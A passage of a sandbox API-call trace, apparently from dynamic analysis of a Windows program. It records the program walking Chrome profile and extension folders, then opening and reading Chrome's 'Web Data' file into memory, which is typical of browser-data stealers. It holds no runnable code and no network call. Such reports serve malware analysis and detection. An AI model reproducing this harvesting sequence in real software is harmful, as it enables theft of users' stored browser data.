Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\te\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\zh\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.509] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\Temp\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.509] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2dc7f8 [0056.510] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2dc7f8 [0056.510] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc838 [0056.510] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2dc7f8 [0056.511] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2dc7f8 [0056.511] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc838 [0056.512] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2dc7f8 [0056.512] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc838 [0056.512] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f6d8 | out: ppstm=0x21f6d8*=0x2cc188) returned 0x0 [0056.513] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x120 [0056.513] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.513] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.513] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.513] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.513] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.513] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.513] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.513] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.513] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.513] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.514] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.514] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.515] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.515] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.515] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.515] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.515] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.515] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.515] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0056.515] IStream:Commit (This=0x2cc188, grfCommitFlags=0x21e6c0) returned 0x0 [0056.515] ReadFile (in: hFile=0x120, lpBuffer=0x21e6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e6b8, lpOverlapped=0x0 | out: lpBuffer=0x21e6c0*, lpNumberOfBytesRead=0x21e6b8*=0x0, lpOverlapped=0x0) returned 1 [0056.515] CloseHandle (hObject=0x120) returned 1 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f6a4) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f69c) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f67b) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f67b) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f67b) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f67b) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.515] IStream:LockRegion (This=0x2cc188, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0056.515] IStream:SetSize (This=0x2cc188, libNewSize=0x21f67b) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f67b) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x20, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f678) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x28, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x64, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x64, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f623) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x65, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f640) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x67, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f640) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x69, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f640) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x6b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f623) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x6c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f620) returned 0x0 [0056.516] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x2ed7f0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x70, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f640) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x72, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f640) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x7fb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x7fb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f620) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x7ff, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5f3) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x6000, cb=0x0, dwLockType=0x0) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.516] IStream:LockRegion (This=0x2cc188, libOffset=0x6000, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5cb) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x6001, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x6003, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x6005, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x6007, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5cb) returned 0x0 [0056.517] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x2fd878 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x6008, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x600a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x600c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x600e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.517] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.517] IStream:LockRegion (This=0x2cc188, libOffset=0x6010, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6012, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6014, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6016, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6018, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6767, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6767, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6768, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.518] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.518] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.518] IStream:LockRegion 